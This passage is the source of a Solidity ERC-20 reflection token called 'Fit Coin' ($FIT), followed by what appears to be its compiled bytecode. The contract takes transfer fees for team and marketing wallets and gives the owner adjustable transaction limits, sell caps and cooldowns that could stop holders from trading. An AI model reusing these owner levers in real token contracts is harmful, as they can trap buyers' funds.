"Fit Coin"; string private constant _symbol = "$FIT"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 6; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private buyCooldownEnabled = false; bool private sellCooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setBuyCooldownEnabled(bool onoff) external onlyOwner() { buyCooldownEnabled = onoff; } function setSellCooldownEnabled(bool onoff) external onlyOwner() { sellCooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Too many tokens."); // to buyer if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) { require(tradingOpen, "Trading not yet enabled."); require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); // from seller if (!inSwap && from != uniswapV2Pair && tradingOpen) { require(amount <= 1e8 * 10**9); if(sellCooldownEnabled) { require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[from] = block.timestamp + (90 seconds); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); buyCooldownEnabled = true; sellCooldownEnabled = true; _maxTxAmount = 5e11 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxAmount(uint256 amount) external onlyOwner() { require(amount > 0, "Amount must be greater than 0"); _maxTxAmount = amount; emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function maxTxAmount() public view returns (uint) { return _maxTxAmount; } function sellCooldown() public view returns (bool) { return sellCooldownEnabled; } function buyCooldown() public view returns (bool) { return buyCooldownEnabled; } }
0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e5e565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061297c565b610522565b6040516101a49190612e43565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf9190613040565b60405180910390f35b3480156101e457600080fd5b506101ed610551565b6040516101fa9190612e43565b60405180910390f35b34801561020f57600080fd5b5061022a6004803603810190610225919061292d565b610568565b6040516102379190612e43565b60405180910390f35b34801561024c57600080fd5b50610255610641565b60405161026291906130b5565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129b8565b61064a565b005b3480156102a057600080fd5b506102a96106fc565b005b3480156102b757600080fd5b506102c061076e565b6040516102cd9190612e43565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f8919061289f565b610785565b60405161030a9190613040565b60405180910390f35b34801561031f57600080fd5b506103286107d6565b005b34801561033657600080fd5b5061033f610929565b60405161034c9190613040565b60405180910390f35b34801561036157600080fd5b5061036a610933565b6040516103779190612d75565b60405180910390f35b34801561038c57600080fd5b5061039561095c565b6040516103a29190612e5e565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd919061297c565b610999565b6040516103df9190612e43565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129b8565b6109b7565b005b34801561041d57600080fd5b50610426610a69565b005b34801561043457600080fd5b5061043d610ae3565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a0a565b610b95565b005b34801561047457600080fd5b5061048f600480360381019061048a91906128f1565b610cde565b60405161049c9190613040565b60405180910390f35b3480156104b157600080fd5b506104ba610d65565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a0a565b6112a7565b005b60606040518060400160405280600881526020017f46697420436f696e000000000000000000000000000000000000000000000000815250905090565b600061053661052f6113c2565b84846113ca565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601060179054906101000a900460ff16905090565b6000610575848484611595565b610636846105816113c2565b610631856040518060600160405280602881526020016136f760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e76113c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c309092919063ffffffff16565b6113ca565b600190509392505050565b60006009905090565b6106526113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d690612f60565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073d6113c2565b73ffffffffffffffffffffffffffffffffffffffff161461075d57600080fd5b600047905061076b81611c94565b50565b6000601060169054906101000a900460ff16905090565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8f565b9050919050565b6107de6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612f60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2446495400000000000000000000000000000000000000000000000000000000815250905090565b60006109ad6109a66113c2565b8484611595565b6001905092915050565b6109bf6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612f60565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaa6113c2565b73ffffffffffffffffffffffffffffffffffffffff1614610aca57600080fd5b6000610ad530610785565b9050610ae081611dfd565b50565b610aeb6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612f60565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f60565b60405180910390fd5b60008111610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612f00565b60405180910390fd5b610c9c6064610c8e83683635c9adc5dea000006120f790919063ffffffff16565b61217290919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd39190613040565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612f60565b60405180910390fd5b601060149054906101000a900460ff1615610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190613000565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113ca565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906128c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff291906128c8565b6040518363ffffffff1660e01b815260040161100f929190612d90565b602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906128c8565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ea30610785565b6000806110f5610933565b426040518863ffffffff1660e01b815260040161111796959493929190612de2565b6060604051808303818588803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111699190612a33565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550681b1ae4d6e2ef500000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611251929190612db9565b602060405180830381600087803b15801561126b57600080fd5b505af115801561127f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a391906129e1565b5050565b6112af6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612f60565b60405180910390fd5b6000811161137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137690612f00565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113b79190613040565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612ec0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115889190613040565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc90612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612e80565b60405180910390fd5b600081116116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612f80565b60405180910390fd5b6116c0610933565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172e57506116fe610933565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6d57601154811115611778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176f90612fe0565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118235750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118915750601060169054906101000a900460ff165b156119b757601060149054906101000a900460ff166118e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dc90613020565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90612f20565b60405180910390fd5b600a426119739190613125565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119c230610785565b9050601060159054906101000a900460ff16158015611a2f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a475750601060149054906101000a900460ff165b15611b6b5767016345785d8a0000821115611a6157600080fd5b601060179054906101000a900460ff1615611b485742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aee90612f20565b60405180910390fd5b605a42611b049190613125565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5181611dfd565b60004790506000811115611b6957611b6847611c94565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c145750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1e57600090505b611c2a848484846121bc565b50505050565b6000838311158290611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f9190612e5e565b60405180910390fd5b5060008385611c879190613206565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce460028461217290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0f573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6060028461217290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8b573d6000803e3d6000fd5b5050565b6000600754821115611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd90612ea0565b60405180910390fd5b6000611de06121e9565b9050611df5818461217290919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e895781602001602082028036833780820191505090505b5090503081600081518110611ec7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6957600080fd5b505afa158015611f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa191906128c8565b81600181518110611fdb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204230600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ca565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a695949392919061305b565b600060405180830381600087803b1580156120c057600080fd5b505af11580156120d4573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561210a576000905061216c565b6000828461211891906131ac565b9050828482612127919061317b565b14612167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215e90612f40565b60405180910390fd5b809150505b92915050565b60006121b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612214565b905092915050565b806121ca576121c9612277565b5b6121d58484846122ba565b806121e3576121e2612485565b5b50505050565b60008060006121f6612499565b9150915061220d818361217290919063ffffffff16565b9250505090565b6000808311829061225b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122529190612e5e565b60405180910390fd5b506000838561226a919061317b565b9050809150509392505050565b600060095414801561228b57506000600a54145b15612295576122b8565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122cc876124fb565b95509550955095509550955061232a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123bf85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ad90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240b8161260b565b61241584836126c8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124729190613040565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea0000090506124cf683635c9adc5dea0000060075461217290919063ffffffff16565b8210156124ee57600754683635c9adc5dea000009350935050506124f7565b81819350935050505b9091565b60008060008060008060008060006125188a600954600a54612702565b92509250925060006125286121e9565b9050600080600061253b8e878787612798565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c30565b905092915050565b60008082846125bc9190613125565b905083811015612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f890612ee0565b60405180910390fd5b8091505092915050565b60006126156121e9565b9050600061262c82846120f790919063ffffffff16565b905061268081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ad90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126dd8260075461256390919063ffffffff16565b6007819055506126f8816008546125ad90919063ffffffff16565b6008819055505050565b60008060008061272e6064612720888a6120f790919063ffffffff16565b61217290919063ffffffff16565b90506000612758606461274a888b6120f790919063ffffffff16565b61217290919063ffffffff16565b9050600061278182612773858c61256390919063ffffffff16565b61256390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b185896120f790919063ffffffff16565b905060006127c886896120f790919063ffffffff16565b905060006127df87896120f790919063ffffffff16565b90506000612808826127fa858761256390919063ffffffff16565b61256390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612830816136b1565b92915050565b600081519050612845816136b1565b92915050565b60008135905061285a816136c8565b92915050565b60008151905061286f816136c8565b92915050565b600081359050612884816136df565b92915050565b600081519050612899816136df565b92915050565b6000602082840312156128b157600080fd5b60006128bf84828501612821565b91505092915050565b6000602082840312156128da57600080fd5b60006128e884828501612836565b91505092915050565b6000806040838503121561290457600080fd5b600061291285828601612821565b925050602061292385828601612821565b9150509250929050565b60008060006060848603121561294257600080fd5b600061295086828701612821565b935050602061296186828701612821565b925050604061297286828701612875565b9150509250925092565b6000806040838503121561298f57600080fd5b600061299d85828601612821565b92505060206129ae85828601612875565b9150509250929050565b6000602082840312156129ca57600080fd5b60006129d88482850161284b565b91505092915050565b6000602082840312156129f357600080fd5b6000612a0184828501612860565b91505092915050565b600060208284031215612a1c57600080fd5b6000612a2a84828501612875565b91505092915050565b600080600060608486031215612a4857600080fd5b6000612a568682870161288a565b9350506020612a678682870161288a565b9250506040612a788682870161288a565b9150509250925092565b6000612a8e8383612a9a565b60208301905092915050565b612aa38161323a565b82525050565b612ab28161323a565b82525050565b6000612ac3826130e0565b612acd8185613103565b9350612ad8836130d0565b8060005b83811015612b09578151612af08882612a82565b9750612afb836130f6565b925050600181019050612adc565b5085935050505092915050565b612b1f8161324c565b82525050565b612b2e8161328f565b82525050565b6000612b3f826130eb565b612b498185613114565b9350612b598185602086016132a1565b612b6281613332565b840191505092915050565b6000612b7a602383613114565b9150612b8582613343565b604082019050919050565b6000612b9d602a83613114565b9150612ba882613392565b604082019050919050565b6000612bc0602283613114565b9150612bcb826133e1565b604082019050919050565b6000612be3601b83613114565b9150612bee82613430565b602082019050919050565b6000612c06601d83613114565b9150612c1182613459565b602082019050919050565b6000612c29602a83613114565b9150612c3482613482565b604082019050919050565b6000612c4c602183613114565b9150612c57826134d1565b604082019050919050565b6000612c6f602083613114565b9150612c7a82613520565b602082019050919050565b6000612c92602983613114565b9150612c9d82613549565b604082019050919050565b6000612cb5602583613114565b9150612cc082613598565b604082019050919050565b6000612cd8602483613114565b9150612ce3826135e7565b604082019050919050565b6000612cfb601083613114565b9150612d0682613636565b602082019050919050565b6000612d1e601783613114565b9150612d298261365f565b602082019050919050565b6000612d41601883613114565b9150612d4c82613688565b602082019050919050565b612d6081613278565b82525050565b612d6f81613282565b82525050565b6000602082019050612d8a6000830184612aa9565b92915050565b6000604082019050612da56000830185612aa9565b612db26020830184612aa9565b9392505050565b6000604082019050612dce6000830185612aa9565b612ddb6020830184612d57565b9392505050565b600060c082019050612df76000830189612aa9565b612e046020830188612d57565b612e116040830187612b25565b612e1e6060830186612b25565b612e2b6080830185612aa9565b612e3860a0830184612d57565b979650505050505050565b6000602082019050612e586000830184612b16565b92915050565b60006020820190508181036000830152612e788184612b34565b905092915050565b60006020820190508181036000830152612e9981612b6d565b9050919050565b60006020820190508181036000830152612eb981612b90565b9050919050565b60006020820190508181036000830152612ed981612bb3565b9050919050565b60006020820190508181036000830152612ef981612bd6565b9050919050565b60006020820190508181036000830152612f1981612bf9565b9050919050565b60006020820190508181036000830152612f3981612c1c565b9050919050565b60006020820190508181036000830152612f5981612c3f565b9050919050565b60006020820190508181036000830152612f7981612c62565b9050919050565b60006020820190508181036000830152612f9981612c85565b9050919050565b60006020820190508181036000830152612fb981612ca8565b9050919050565b60006020820190508181036000830152612fd9